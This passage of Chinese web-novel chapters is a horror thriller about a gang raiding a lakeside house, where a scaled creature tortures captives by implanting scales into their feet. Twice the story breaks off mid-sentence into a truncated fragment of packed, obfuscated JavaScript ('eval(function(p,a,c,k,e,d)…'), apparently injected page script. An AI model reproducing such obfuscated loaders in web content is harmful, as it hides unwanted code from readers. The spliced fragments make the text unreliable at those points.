“怎么了?”冷晚晚哑着嗓子问。 “佟刚,佟刚!他出事了!”小夭抖着声音,情绪激动。 **** 半山腰,院子外。 一群人拽着狗,趴伏在坡下,一直观察着院里院外的情况。 只见佟刚站在院门边没说上两句,女人就情绪激动地扬起扫帚赶人,最后也不知道他冲着院子里喊了句什么,然后一脸疑惑地往回走。 他还没走到坡下,西瓜皮已经等不及,赶忙站起身来问:“怎么样?什么情况?” 佟刚没说话,等走到坡下,一屁股坐在地上才开口:“院子里就一个女人,没看见小孩,女人一问三不知,不知道是真不知道,还是假不知道,屋子里什么情况就不知道了。” 说完,他别有深意地看了一眼张波,张波立马领悟,这院子里的情况应该不像佟刚说的那么简单,里头应该还有蹊跷。 “就特么这么点情况?我们趴在这儿都看得一清二楚了,还用你去探路?”西瓜皮十分不满,嘴里骂骂咧咧。 “那现在怎么办?等着?”西瓜皮的小弟们一筹莫展。 西瓜皮仰头看了看天,摸了一把额头的热汗,突然咬咬牙,硬气地说:“等什么等,真特么浪费时间,要我说直接冲进去看看!” 佟刚在一旁听得一个脑袋两个大,他低声冲着张波说:“派去村子里打听消息的,有回话了吗?” 张波差点忘了这一茬,赶忙掏出手机来看了看,末了冲着佟刚点点头。 “有信了,有信了!” 佟刚立马对着西瓜皮和他的小弟往下压了压手掌,示意他们安静。 “派去村子里打听消息的有回信了。” 听到这里,众人立马噤声。 佟刚又冲着张波说:“他们怎么说?” “他们在村子里打听了一圈,说这院子是一个本地老男人的,前些日子死了,就留下了老婆和孩子,说是孤儿寡母挺可怜的。” 所有人迅速抓到了这句话里的重点——“孩子”。 “特么的,我那看那个婆娘就是装疯卖傻!”西瓜皮紧咬着腮帮子,言语愤愤。 “是啊,肯定有鬼。”小弟们纷纷附和。 “那东西一定就在那个屋子里,得进去看看。”西瓜皮紧皱眉头,盯着不远处的院门,已经下定了某种决心。 “硬闯?”小弟们有些不确定地看向西瓜皮。 听到他们打算要硬闯,张波看了一眼佟刚,佟刚摇摇头示意他别说话,他们俩是外来人,这里显然没有他们说话的份,再者说了,他们其实也没有更好的办法。 要是不闯,人家要是一辈子不出来,难道就在外面围一辈子?要是硬闯,这事儿说白了就叫私闯民宅,违法的,要是人家报警,这事儿就麻烦了。 想来想去怎么都不好办,佟刚和张波索性闭嘴,交给他们本地人去伤脑筋。 “准备准备,等晚上天黑,再行动!” 西瓜皮咬咬牙,语气坚定,他现在已经管不了那么许多了,大哥下落不明,他本以为是拜那“蛋”所赐,但现在看,事情似乎没那么简单。 联想前些天,湖里接连出事,警察都发通告说湖里有不明生物,今天又有那么多人刚好在出事地点,亲眼目睹岸上有个长着鳞片的小孩。 这样结合来看,他便认定大哥出事,跟蛋、湖里的未知生物、岸上的小孩都脱不了干系,或许它们根本就是一种东西…… 西瓜皮想到这里,咬牙切齿,因为湖边长鳞片的蛋,前段时间已经有好几个兄弟中招,情况恶化无法控制,只能截肢,要不是实在没办法了,他们也不会跟冷家求助。 不管了,现在能抓住一个是一个!他到要看看,是什么妖魔鬼怪在青海湖兴风作浪! 离天黑时间还长,众小弟得令,开始有条不紊地分工布局,有的人下山去准备装备,有的人则留在原地看守,没人搭理佟刚和张波,两人乐得清闲,索性躺在一边晒太阳。 张波觑着周围没人,赶紧往佟刚身边凑了凑,低声问:“刚刚你那眼神,什么意思?有什么发现?” 佟刚微微侧身,顿了顿才说:“你见过冷总书房里的一张合影吗?” “什么合影?” “一个清瘦的女人。” “你是说他的夫人,好像是叫什么寒梅来着……她怎么了?” “刚刚在院子里的那个女人,长得可真像她!” “啊??不是吧?”张波一脸震惊。 佟刚正准备张口说什么,兜里的手机突然震响,他慢悠悠从兜里掏出手机,看到来电显示的界面后,他深深地叹了一口气,就那么看着屏幕,既没有挂断,也没有接通,手机还在不知疲倦地震,张波觉得奇怪,偏头去看,只见屏幕上来电显示是“小祖宗2号”。 张波一下子就乐了,调侃道:“哟,小祖宗2号,这爱称挺别致的啊!小祖宗1号是谁?” 佟刚无奈地回头看了他一眼,一副这你都猜不到的表情。 张波心里立马浮现出一个人,笑呵呵地问:“不会是冷家那位吧?” 他说着用手指在嘴角的脸颊处戳出一个窝,这算是冷晚晚的一个标志,笑起来嘴角有一对好看的酒窝,让人着迷,同时一双眼睛凌厉非常,发起狠来,扫上两眼就让人不寒而栗。 佟刚没说话,算是默认。 张波不由地倒吸了一口凉气,末了点点头,表示认同:“那确实是祖宗1号。” 此话一出口,两人眼神一对视,就同时噗噗地笑出声来。 此时的他们还不知前路凶险,他们将面临什么…… *** 终于等到夜幕降临,温度迅速下降,佟刚下意识裹紧了身上的衣服,手机还在持续不断地震响,他烦躁地拿起手机看了好几次,心里不禁感叹,小夭这丫头还真是执着啊,真是一点不给他手机休息的机会,末了默默将手机调成了静音状态。 张波见状不解:“要不你就挂了,要不你就关机呗!” 佟刚摇摇头,张波不懂,这两条路他任选一条都死定了,他现在只能装,装着自己一无所知才能蒙混过关,毕竟以后还要见面,他不想再给自己多加一条“罪名”。 另一边,西瓜皮和众小弟已经准备妥当,各种装备都已经带上了身,背心、头灯、甩棍、匕首、护脖……那真是应有尽有,跟特种兵作战似的,而一旁趴着的几条狗经过一下午的等待和暴晒,已经没了上午勇猛的姿态,无精打采地趴伏在地上。 西瓜皮见状低声教训了一翻,几条狗像是听懂了,低着头吭吭唧唧,再抬头时倒是精神了不少,西瓜皮点点头,接着安排一会儿的“作战计划”,小弟们一个个听得十分认真,脸上显出紧张的神色。 佟刚和张波被隔绝在外围,似乎是这群人的刻意为之,毕竟之前大打出手,心有嫌隙,不过两人也不在意,不让他们冲锋陷阵去做这种翻墙入院、溜门撬锁的事挺好,免得到时候被那两个祖宗知道,“罪名”再添一笔。 “进去都注意点,那小怪物说不定会伤人,你们懂我的意思……”西瓜皮沉着眼神,低声叮嘱。 “知道了。” “你们几个翻墙先进去开院门,你们几个牵狗进去找那小怪物,你们剩下的控制住那个女人,我有重要的事要问她!” 西瓜皮安排完,一个眼神示意,几个小弟就像狐狸一样迅捷地冲了出去,伴着越来越暗沉的夜色,他们手脚并用,身姿轻盈地翻过墙头,然后收紧核心,悄无声息地纵身落地,最后快速走到院门边,小心地打开了铁栓子,一套动作行云流水,十分熟练。 紧接着几个人牵着狗就进了院子,西瓜皮紧跟在后,佟刚和张波则走在最后,院子里静悄悄的,一行人轻声悄步,生怕发出一点异响。 当晚的月亮很亮,众人站在月光下,连脚下的影子都显得小心翼翼。 一侧的屋子大门紧闭,透过窗户往屋里看,里面一点光亮都没有,几条狗进了院子还没走几步,突然就变得躁动不安起来,扭头挣扎着想往回走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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几条狗闻到味儿更是害怕得不得了,脚跟钉在地上一样,死都不肯再往前走一步,西瓜皮又气又急,生怕这几条狗出声打草惊蛇,一脸烦躁的往后摆摆手,示意放它们出去算了。 小弟们刚松开手里的狗绳,下一秒,几条狗就逃命似的飞奔出去,一眨眼就消失在了门口。 这腥臭味儿臭归臭,但众人都很熟悉,之前从二百八家偷出的那颗“蛋”,就是这个味儿。 西瓜皮喃喃低语:“果然都是一个路数的东西!连味儿都一个样!” 众人也更加确定,湖边看到的那小怪物就在这屋里,而这小怪物跟那颗“蛋”可能根本就是同一种物种,只是形态不一样而已,如果今晚能抓到那个小怪物,也许就能知道一些真相了。 想到这里,众人精神都为之一振。 佟刚心脏砰砰乱跳,赶忙往西瓜皮身边快走了几步,以便能快点看清屋子里的光景,张波紧随其后,生怕佟刚有一点闪失。 屋外月光皎洁,屋里却黑黢黢一片,一点亮光都没有,什么都看不清,虽然已知这院子里只有一对孤儿寡母,但也不可掉以轻心,他们还不知道那小怪物的实力,一切还得小心为上,得先看清屋子里的状况,以防有埋伏。 西瓜皮做了一个手势后,有个小弟大着胆子打开了头灯,光柱在黑暗中晃了晃,然后径直往水坑的位置打了过去,只这样一照,屋外的人瞬间都看傻了眼。 这是?一个坑? 更准确地说是一个大水坑,在屋子左侧靠墙的位置,占据了大半个厅堂,坑里注满了浑浊的泥浆水,光亮一打过去,一汪水亮,浓稠浑浊,不可见底,因而不知道这坑有多深。 这时大家才明白,那诡异潮湿的气息从何而来。 屋子里怎么会有这么大个坑呢? 佟刚很快就联想到西瓜皮曾说过,那些“蛋”都藏在青海湖边湿润的草场地下,泥土覆盖,积水泡着,而那个小孩子之所以能逃的那么快,应该也下了水,佟刚大胆猜测,这种东西应该离不开水。 头灯的光亮在水坑的位置慢慢挪移搜索,看得也更加清晰分明,水坑四周垒了一层砖,细看,砖头下还压着几层塑料薄膜,应该是用了塑料薄膜铺底,这个坑才能蓄住这么多水,水面平静无痕,水里应该没什么东西,水坑靠墙一侧立着一块厚实的木板,目测刚刚好水坑大小,应该是用来盖水坑的盖板,只是不知道这会儿为什么没有盖起来。 接着光亮一点点往右边扫去,只见凹凸不平的地上放着一张破旧的木桌,一旁胡乱地摆着几张椅子,椅背上还搁着几件小孩衣服,除此之外就没什么东西了。 光亮又小心翼翼往厅屋左右两侧扫了扫,左右两侧有两扇房门通向里间,现在房门紧闭,不确定目标是在左间还是右间。 探索完毕,准备要进屋了,西瓜皮对着两边窗下守着的人做手势,示意他们要守好窗户,而后大手一挥,小弟们自动分成两列,悄声快步走进屋里。 屋里的腥臭味越发浓烈令人窒息,西瓜皮捂着鼻子也钻进了屋,佟刚张波紧随其后,屋里空间狭小,所有人挤簇在一起,等待着西瓜皮一声令下,撞开房门冲进去。 就在这个等待的间隙,人群中突然有人被踩了脚,没忍住吭叽了一声,在安静狭小的空间里犹如一道惊雷,吓得所有人一动不动,大气都不敢出。 不能再等了,索性冲进去算了。 西瓜皮大喊一声:“冲!” 小弟们便一个个亮起头灯,铆足劲头冲向两扇紧闭的房门,几乎同一时间,屋子的大门突然咣当一声用力关上,水坑里有个黑影同时翻身跃起,朝着众人猛扑过来。 泥浆水如急雨一般飞溅得到处都是,那黑影速度极快,还没等屋里众人看清楚,已经覆了下来,劲力奇大。瞬间压倒了几人,稍稍用力下按,倒下的顿时白眼一翻昏死过去。 “特么的,什么东西?”西瓜皮被惊得浑身寒毛直竖。 *** 37. 种鳞 狭小的屋子里顿时乱作一团,头灯的一道道光柱在黑暗中扫来扫去,躲过一劫的人赶紧抽出匕首和甩棍立在身前防身,机警地环伺四周。 佟刚和张波被人群挤到角落,眯着眼睛看向黑影,黑影近在咫尺,却看不真切,片刻后,头灯的光柱齐齐朝着黑影的方向照过去。 这时众人才看清,这道黑影其实是一个身材魁梧健壮的男人,浑身裹满泥浆,长得很是怪异,脑袋大得十分不协调,头骨甚至有些怪异的凸起。 佟刚和张波顿时都懵了,心里瞬间冒出一连串疑问:“这屋里不是只有一对孤儿寡母吗?怎么还有个男人?还是个这样的男人?” “你是谁?”西瓜皮大着胆子冲着男人大喊。 那男人突然冲着西瓜皮咧嘴一笑,嘴巴夸张地几乎咧到耳后,一双小眼里闪现出奇异的光来,看到此情此景,众人皆是一阵胆寒,西瓜皮更是吓得惊叫出声。 那男人突然变了脸,瞬间出手,速度极快,角落里的佟刚和张波甚至都还没看清动作,西瓜皮已经被男人高高拎起,接着用力往墙上掷了出去。 咚一声,沉闷的撞击声震得鼓膜发颤。 西瓜皮撞到了头,瞬间就没了声响,软绵绵从墙上落下来,摔得歪七扭八。 男人慢腾腾走过去,伸手拽住西瓜皮的胳膊,像拎起一只小鸡仔一样,轻轻松松。 “你闯……闯进我家,还问……问我是谁,可太没礼貌了!” 男人有些大舌头,用蹩脚的音调回应西瓜皮刚刚的问话,说完拎起西瓜皮晃了晃。 这番操作吓得剩下的人都不敢吱声了,哗啦哗啦扔了短刀和匕首,抱头蹲下缩成一团,头灯的光柱齐齐斜打在地上,将男人的影子拉得很长很长。 佟刚和张波也顺势跟着蹲下,在看到地上匕首的瞬间,佟刚心里便有了主意,他偷偷扭头看了张波一眼,张波立刻心领神会,两人趁人多眼杂,光线不佳,迅速摸到地上匕首,紧紧攥在手里。 男人拎着西瓜皮,抡起胳膊,一扬手把西瓜皮扔在人堆里,咚一声闷响,砸得一众小弟呲哇乱叫,男人像是觉得有趣,仰头大笑起来,声音粗糙低沉,透着诡异。 接着,那男人俯下身去,绿豆小眼在人群里扫来扫去,一张大嘴诡异地咧开翘起,像在挑选喜爱的玩具,众小弟感受到男人的视线,吓得浑身颤抖、惊叫连连。 “就……就你了!”男人的目光锁定了一个小弟,语调兴奋。 说完,猛地拽住了那小弟的脚踝,用力一拖,小弟的惊叫声还没出口,就被高高拎起,像耍鞭子似的抡起来转悠。 速度越来越快,竟然能听到呼呼的风声,小弟刚开始还惊叫了两声,后来吓得白眼一翻,直接昏死了过去。 没有了反抗和挣扎,男人像是觉得有点索然无趣,慢慢停下来,像扔垃圾一样,扬手就把那小弟扔到墙上。 咚一声闷响,那小弟也软趴趴掉在地上,所有人看了都是心头一惊,腿肚子发软。 “接……接下来……选谁呢?”男人再次俯下身子,眼神狠戾,笑得贱兮兮。 佟刚知道不能再等了,要是不找准时机主动出击,他们这群人都逃不掉了,他看了一眼张波,黑暗中两人目光交汇,迅速达成了共识。 下一秒,两人几乎同步挺身跃起,扬起匕首,腰腹用力,将身体拉成满弓,朝着男人猛扑过去,男人见状,迅速侧身躲避,但已经来不及,噗嗤两声刀刃入肉,两人一刀扎在了男人胳膊上,还有一刀扎在了男人胸口。 见手中匕首都命中目标,佟刚和张波心中大喜,拼命咬紧牙关用力,试图将匕首一插到底,结果男人龇牙长啸一声,下一秒,身子用力一甩,两人便被甩脱飞出去,最后重重地撞到墙上。 巨大的疼痛感像山呼海啸一般袭来,佟刚疼得五官挤皱成一团,脖颈处的青筋根根爆起,嘴大张着却叫喊不出一声,眼睛狠狠地瞪着男人。 男人有点意外:“哟,没……没晕过去呢!” 说着,蹲下身去,伸出血糊糊的手,轻轻拍了拍佟刚的脸,咧嘴说道:“你……你放心,摔……摔成这样,身……身子也还能用,当肉……肉土的好材料!” 佟刚死死盯着他,情绪激动,一口气没喘上来,晕死了过去。 门外看守的两个小弟在窗外拉了网,却听到屋门关上的声音,紧接着屋内传来此起彼伏的惨叫声,两人大感不妙,心里惴惴不安起来。 “里面怎么了,不会出事儿了吧?”一个小弟问。 “不知道啊……”另一个答。 “咱们要不要去门口看看?” “可是大哥让我们守好窗户……” 外头夜色越发黑沉,两人正在犹豫讨论,却不知此时身后浓浓的夜色中已经立了两个人,一个纤弱的女人,一个矮小的孩童。 咚咚两声,两人头部受到重物击打,应声倒地。 女人随即扔掉手里的砖头,长舒一口气,小孩也有样学样,跟着扔掉手里的砖头,扭头看着女人咯咯笑出了声,一双小眼在黑暗中显出奇异的光来,末了吧唧吧唧嘴,又开始咕噜咕噜说起话来。 女人有些无奈,牵起小孩的手,柔声教育:“都跟你说了多少次了,说人话!” 小孩吧唧吧唧咬着大拇指,一脸无辜地看着女人,女人顿时没了脾气,温柔地摸了摸小孩的额头,牵着小孩快步走到门口,轻轻敲了敲木门,冲着屋里催促道:“行了,别玩儿了,抓紧时间!” 木门随即打开,男人一边拔插在身上的匕首,一边跨门出来,女人很是平淡地看了他一眼,问道:“受伤了?这么不小心?” 男人有些诚惶诚恐:“没……没事,我一会儿到……到坑里躺……躺会儿就好了。” 女人点点头:“抓紧时间打扫干净小土豆要睡觉了。” 男人赶紧点点头。 *** 佟刚醒来时,觉得浑身散架了一样的疼,他歪七扭八地躺在地上,鼻子接触地面,闻到一股浓重的泥腥味和腥臭味。 屋子里亮着灯,他小心翼翼眯起眼向外看,只见那个男人躬着身体,正用力拖拽着晕死过去的人,往一侧的屋子里去了,不知道是要干什么,反正应该没什么好事儿。 他试着动了动身子,发现疼得根本动弹不得,应该是骨折了,他不敢再动,就这么趴了一会儿,求生的本能让他不断想着各种求救方法,跑是不行了,他现在连站都站不起来,喊也不现实,这房子在半山腰上,离村子很远,再加上又是晚上,他就算叫破喉咙估计也没人知道。 就在这时,他脑子里灵光一闪,想到了兜里的手机。 “对,给老五打电话,他一定能出想办法!” 眼下,本地人老五是最合适的人选,实在不行退而求其次,打给自己的手下,或者直接报警,但他现在受伤,想要掏出手机都难,何况还打电话,那更是难上加难。 不过,还是要试一试。 他一点一点的挪动手指,慢慢往裤兜摸索而去,当男人突然走过来拖人的时候,他就立马一动不动,闭眼装死。 男人手脚很是麻利,不多一会儿,就轮到他了,男人十分粗暴地拖拽着他的一条腿,慢悠悠往一侧的屋子里去,地面凹凸不平,身体与地面摩擦,疼得他五脏六腑几乎颠了个,浑身冷汗直流,他双眼紧闭紧咬牙关,不敢发出一点声音,手趁着移动的过程,悄悄伸到了裤兜里。 男人随手把他扔在墙边,像扔垃圾一样,佟刚趴在地上,手指颤抖着一点一点摸到手机,此时他已经顾不得疼了,求生的欲望占据了整个大脑,他身子动弹不了,又根本看不到手机屏幕,只能一遍一遍用手指去触碰尝试,不知道过了多久,他的手指已经疼到僵硬,神志变得迷迷糊糊。 忽然,手机听筒里传来一阵微弱女声,被衣服覆盖遮掩,声音极小,他脑子晕晕乎乎,竖起耳朵听,等听清,心里猛地咯噔一下。 是小夭的声音! 他之前想到了手下的兄弟,想到了老五,甚至想到了报警,就是没有想到给小夭打电话,主要是不想把小夭和冷晚晚牵扯进来,实在太凶险,再说了,他来青海之前,冷毅也一再交代,不要让冷晚晚她们知道这里的事情,都害怕她们有危险。 结果就是这么凑巧,无意间的触碰竟然接通了小夭的电话,那一刻他内心矛盾极了,既想和张波逃出生天,又不想小夭和冷晚晚参与进来,很快,小夭惊呼了一声之后,声音就消失在了听筒里。 钻心的疼痛再次像海浪来袭,他疼得冷汗直流,浑身震颤,终于昏昏沉沉地闭上了眼睛,失去意识的最后一刻,心想罢了,听天由命吧!命运让我走到哪儿就走到哪儿吧! 再次醒来,他发现自己和张波背靠背坐在地上,被反剪着胳膊绑住了手脚,嘴巴也已经被破布堵住,他赶紧用后背撞了撞张波,张波浑身一抖,也迷迷糊糊醒了过来。 屋子里灯光昏暗,一仰头就看见西瓜皮和众小弟都被反剪着胳膊吊在了房梁上,一个个垂着脑袋,拉长的影子在地上晃啊晃,看起来都跟死了一样。 面对此情此景,佟刚和张波吓得脑子里一片空白,浑身的血都倒流了。 那个男人到底想干什么啊? 门外突然响起一阵欢快的口哨声,有人过来了! 佟刚和张波顿时如遭雷击,浑身一震,迅速闭眼耷拉着脑袋,假装还在昏迷,沉重的足音由远及近,两人的心紧攥着,跟着一颤一颤的。 下一秒,男人就吹着欢快的小调走进屋来,听起来心情不错,精神状态也很好,佟刚和张波扎他身上的那两刀,似乎并没有对他造成什么伤害。男人一步一顿,在屋里子走来走去,似乎正在查看屋里人的状态,佟刚和张波吓得大气都不敢出。 片刻后,又一阵脚步声响起,听足音要比男人的轻上不少。 “怎么样?” 一个女人的声音响起。 佟刚一下就听出来了,这就是在院子扫地的那个女人的声音,只是闭上眼睛听,声音听起来更年轻一点。 “嗯,吊……吊着的都是有……有味儿的,地上的这……这两个没有。”男人答道。 男人虽然有点结巴,音调也有点怪,但佟刚还是听清了,不过话里面的意思让他一头雾水,吊着的是有味儿的,指的是西瓜皮和他的小弟们,地上没有味儿的,指的是他和张波,是什么意思呢?到底有什么味儿? 等等,佟刚心里突然咯噔一下,他们不会是想吃人吧…… 这个骇人的猜想一出,他吓得呼吸一滞,遍体生寒。 “要给……给他们种……种鳞吗?”男人发问。 “嗯,吊着那几个既然有味儿,就种吧,地上的这两个,不是水捞子,没味儿,种鳞成功率不高,但体格不错,能入腹当肉土,去湖边挖几颗蛋出来,试试吧!” 一下出现了太多陌生词语,佟刚听得那是一个云山雾罩,zhonglin?rufu?routu?听发音都觉得陌生,不过他还是听明白了三件事。 第一件是水捞子身上才有味儿,他跟张波不是水捞子,所以身上没味儿。 第二件是他们了解水捞子,这一系列行动似乎就是针对水捞子展开的。 第三件就是那个“蛋”,应该就是他和西瓜皮想法设法从别人院子里偷出来的那种“蛋”,这证明他们之间果然是有联系的,会是同一种物种吗?而且听她话里的意思,蛋绝对不止一颗。 这事儿似乎比想象中更复杂,它们是冲着水捞子来的! “有人满……满世界找水捞子,我们这边……边竟然主动送……送上门了,一送竟然还送来了七……七八个,这事……事要是传到阿……阿大耳朵里,那抚仙湖那头的老肆……黑……嘿嘿……”男人言语间难掩兴奋,说到后来直接嘿嘿笑出了声。 等等,这里面怎么还有抚仙湖的事儿?难道他们在抚仙湖还有人手?还是个叫老肆的?会不会跟冷毅那边有什么关联? 佟刚闭眼听着,心脏砰砰砰狂跳不停,感觉下一秒就要从心口蹦出来,背后的张波似乎也被这些言论吓着了,身子也在无法抑制的颤抖。 佟刚尽量平复心绪,一遍遍告诉自己,这次遭遇危险也许并不是什么坏事,要是能替冷家了解更多真相,规避更多风险,也值得,毕竟冷家对他们一家有恩。 那女人听了男人的话,似乎很不满意,冷笑一声,厉声训斥:“你得意什么?就算抓了七八个水捞子,种鳞成功化了蛋,那也得经历九死一生,九成机会死一成机会生,就算侥幸能活下来,也不一定能熟成的完美,说不定像你一样成了残次品,也没多大效用,哼!你也不是不知道,阿大苦心经营百余年,到现在熟成了几个完美型?也就抚仙湖老肆、我们家小土豆,就算是残次品也没几个,你一个,抚仙湖那头有两个,阿大那边有两个,总共才这么几个,你再看看这里吊着的这些水捞子,要脑子没脑子,要身板没身板,能有几个有用的……” 男人却不服气,气呼呼地说:“阿大……大说了,水捞……捞子不一样,成功率……率更高。” 女人像是很不屑这些说法,鼻子里哼哼了两声,接着说:“天天阿大阿大的,你以为你大白天去湖边惹事生非,要是真出事儿了,他到时候会来救我们吗?我们是异类,见不得光的!你就庆幸来的是一帮没什么脑子的水捞子,但凡来的是一群有脑子的,咱们几个都得遭殃!” 男人还想再辩解,女人显然没兴趣再跟他瞎扯,直接出声打断:“行了,不说这些有的没得了,这些赶紧处理一下,我担心他们还有帮手,不能在这里放太久,最好天亮前都处理干净!” 说完,女的脚步声就往外出去了,只留下男人在屋里。 两人的对话的信息量巨大,佟刚来不及细细咀嚼,赶忙调动大脑潜能,铆足了劲儿死记硬背,总觉得一字一句都仔细记下来,要是自己能活着出去,总能有用处的。 记到末了,佟刚搞明白一件事,这男人和女人似乎想改造水捞子,但听他们话里的那意思,似乎成功率不高,要么死掉,要么可能成为残次品。 这男人和女人的遣词造句让他害怕,一种未知的害怕。 背后的张波显然也明白这些对话的重要性,也在竭尽全力死记硬背,但他就是一个大老粗,还老被佟刚调侃四肢发达头脑简单,一下子要记这么多内容也着实难为他了,他实在记不住,只能小声地读出来加深印象,由于嘴巴被堵住了,只能依靠鼻子发出轻微的嗡嗡声,稍不小心声音大了点,佟刚吓得赶紧轻推他一下,他立马噤了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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巨大的恐惧感从四面八方袭来,佟刚下意识缩紧了身体,呈现出防御姿态。 男人慢慢抬起受伤的手,仔细端详起来,表情平和而享受,像是在欣赏一件完美的艺术品,诡异惊悚的画面,令人毛骨悚然。 佟刚强制振作,眯眼继续盯着男人,突然,他发现男人血肉模糊的断指处突然有了异样,有什么东西正在快速的探出来,他微微睁大了眼睛,定睛看了又看,电光火石间他突然看清,那探出来的东西竟然是利爪一样的东西,贴合手指的弯曲弧度,顶端锋利无比,就像猎豹、狮子捕食时张开的利爪。 佟刚不敢置信地眨了眨眼,屋内灯光昏暗,灯光打在血液浸染的利爪上,寒光慑人,而男人左手指节处正在悄然爬上了密密麻麻的鳞片。 果然,这个男人不是人!!是怪物吗?还是妖? 佟刚一时间思绪混乱,接二连三的冲击,让他的大脑已经无法正常思考,片刻的胡思乱想之后,他脑子里只涌现出一句话——完了!这房子他是走不出去了。 男人扔掉刀,慢悠悠起身,仰头盯着屋梁上挂着的人,脸上突然露出苦恼的表情,像是不知道该先从哪个下手,突然又灵机一动,伸出右手开始点兵点将,口中还念念有词,佟刚听不清男人说的什么,但很快他就停下来,手指停在了一个人身上,男人满意地咧嘴笑了笑。 接着,他拽掉了那人的鞋子,又剥掉了袜子,露出了脚底板,那男人右手捏住脚,伸出左手的利爪,对准脚底板中心位置,用力往上一推一怼,利爪入肉,鲜血迸出,原本还昏迷的的人突然惊醒,被堵住了嘴,虽痛苦万分却一点也叫喊不出,就像是一条绝望挣扎的鱼,胡乱扑腾着,身子在半空晃来晃去,系在腰间的绳子则在挣扎下越扎越紧。 男人紧紧钳制住了那人的脚,用力拧转利爪,然后突然再用力抽出,利爪剜出血肉,脚底赫然出现一个血洞,血液像潺潺的流水从洞口沁出,很快就在地上形成一滩殷红,咸腥味混合腥臭味在屋中激荡,刺激的味道让人睁不开眼睛,那人终于又疼得晕厥过去,垂下脑袋,一动不动了。 男人心满意足地看着一切,等到脚底血洞的血流不再汹涌,他才慢条斯理举起已经变成利爪的左手,用右手在利爪周围小心翼翼拽下一片细鳞,紧接着他迅速将细鳞塞进男人脚底的血洞里,然后再用手往上用力一拍脚底板,血洞里的血流立刻戛然而止。 这一个似乎告一段落,男人在衣服上擦了擦手里沾的血,扬起头又开始搜寻下一个受害者。 目睹此情此景,佟刚早已遍体生寒,但还是敏锐地抓住了男人一系列操作的关键——原来他们口中所说的“zhonglin”竟然是真的“种鳞”,就是把男人身上的鳞片种到这些倒吊着的水捞子的脚板心里。 这么做会造成什么后果呢?他仔细回想女人之前的话,种鳞之后就是化蛋,等等,蛋?湖边的蛋?所以种鳞之后会变成那样的蛋? 这个大胆的猜想,一下子整碎了他的三观,如果这种猜想成立,那这算什么?寄生?还是变异? 男人再一次伸出利爪,佟刚已经不忍再看,他闭上眼睛,听到利爪刺入肉里的噗噗声,血流淅沥的滴答声,利爪拉扯血肉的撕裂声,每一声都像剜进了他的心里,撕扯着五脏六腑,折磨着他的精神,挑动他的神经。 他浑身止不住地颤抖,胃里翻江倒海,大大超过认知的现实,让佟刚有几度恍惚,这是真实的世界吗?还是只是一场恐怖而荒诞的梦?等到虚幻和残酷褪尽,他就会重回现实世界,去迎接人间第一缕暖阳,感受和风细雨和少女的微笑。 但浑身的疼痛很快让他清醒过来,这不是梦,而是一场现实的杀戮。 他不知道不是水捞子的他和张波会被怎么处理,他们口中的说的“肉土”,又会是怎样的一种酷刑呢?相信应该不会比种鳞好多少…… 佟刚尽量不想让自己多想,但脑子并不受控制,恐惧和疼痛似乎让它越发敏锐,只是通过声响就判断出已有三个人遭到了“毒手”,男人手脚麻利,这样下去应该很快就轮到他跟张波了,他已然开始给自己的生命倒计时,他问自己怕死吗?颤抖的身体给了肯定的回答,他怕死,但比起死他似乎更怕被这群人操纵,一切都是未知的,被这群人改造之后,他们还是人吗?还是只是被利用的行尸走肉?这显然是比死亡更可怕的事! 想象让恐惧的潮涌一浪高过一浪,佟刚下意识缩紧身子往后靠,似乎想要获取同伴的情感支持,但此时的张波也已经抖得完全不成样子了,稍稍一触碰,就条件反射一般浑身一抽一抽的,动静实在大了点,瞬间引起了男人的注意,脚步声迅速朝着两个人过来了。 “完了,完了!”佟刚脑子里嗡一声,差点一口气没喘上来。 张波也瞬间意识到了危险的靠近,抖得更加厉害了。 男人三两步就跨到了两人的眼前,拉长的黑影覆下,遮住了室内昏暗的光线,下一秒佟刚就瞥见男人伸出左手的利爪,鲜血浸染,寒光阵阵,男人用力地挥下,利爪带着呼呼的破空之声,直冲着两人来了。 佟刚和张波动也不能动,基本就是两只待宰的羔羊,吓得几乎同时闭上眼睛,五官皱成一团,下意识紧缩身体挤挨在一起,等待着利爪划破皮肤,殷红的血液喷涌而出。 时间一分一秒过,心脏剧烈跳动,疯狂冲击着胸腔,利爪将落未落的瞬间,屋外突然传来一阵女人的惊呼,佟刚立马听出这声音就是院子里那女人的声音,紧接着屋里就响起了一连串慌乱的脚步声,佟刚迅速睁开眼睛,只见那男人正慌慌张张往外跑,而一侧的窗户玻璃上映出了熊熊火光,在夜色中疯狂摇曳,肆意疯长。 佟刚眼睛登时就瞪大了,这是着火了? **** 38. 第 38 章 青海湖边,客栈里。 冷晚晚觉得不对劲,赶紧下床,一边穿衣服一边问小夭。 “他电话里说了什么?” 小夭显然三魂丢了七魄,有些语无伦次:“有人尖叫……他……他……不不不,不是他……” 冷晚晚听得着急,套上鞋,急匆匆走过去问她:“什么不是他?你说清楚点!” 小夭脑子里乱极了,她用力咽了咽口水,迅速平复了一下情绪,理清思路接着说:“我听见电话里有人惊恐地尖叫,但不是佟刚!我很肯定不是他的声音!不过应该有人拖着他在地上走,他肯定被坏人抓住了,还受了重伤,根本没办法反抗,他接我的电话是在向我求救!” 她越说情绪越激动,蓦地站起身来,一把抓住冷晚晚的手,语带哽咽:“现在我们怎么办啊?得救他啊!娥姐就他一个孩子……” 听了小夭的讲述,冷晚晚知道了事情的严重性,先前佟刚偷偷摸摸去办事,还想想方设法把她们甩掉,她就断定佟刚要去办的事儿多半有些风险,不想让她们有危险,才不让她们跟着,现下算是印证上了。 想到这里,冷晚晚心中一酸,心里忍不住一声叹息,唉,佟刚这人老是这样……虽然不会说话,倒是处处真心护着她们。 这人一定是要救的!但关键是要去哪儿救,怎么救! 先前人跟丢了,根本就不知道佟刚到底去了什么地方,也更加不知道佟刚到底遭遇了什么,冷晚晚倒是想立即去救人,但是现在连佟刚在东南西北哪个方向都不知道。 不知道地点,不知道事由,无缘无故仅凭一个突然接通的电话?还没有什么实质性内容?这种就算是报警,应该都会被当成恶作剧吧!要不是冷晚晚和小夭知道佟刚平常的行事作风,应该也不会这么快警觉起来。 